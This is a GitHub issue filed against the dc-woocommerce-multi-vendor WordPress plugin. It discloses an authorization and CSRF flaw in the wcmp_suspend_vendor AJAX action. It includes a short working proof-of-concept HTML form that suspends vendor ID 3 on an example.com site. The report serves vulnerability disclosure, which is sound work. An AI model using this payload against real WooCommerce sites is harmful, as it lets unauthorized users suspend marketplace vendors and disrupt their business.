dc-woocommerce-multi-vendor icon indicating copy to clipboard operation
dc-woocommerce-multi-vendor copied to clipboard

Vulnerability Issue

Open moumitahalder opened this issue 2 years ago • 0 comments

To suspend the vendor with ID 3, open this as any authenticated user, or via a CSRF attack against any logged in one

<html>
<body>
<form action="https://example.com/wp-admin/admin-ajax.php?action=wcmp_suspend_vendor" method="POST" enctype="multipart/form-data">
<input type="hidden" name="user_id" value="3">
<input type="hidden" name="redirect" value="true">
<input type="submit" name="Submit">
</form>
</body>
</html>

moumitahalder avatar Aug 04 '22 11:08 moumitahalder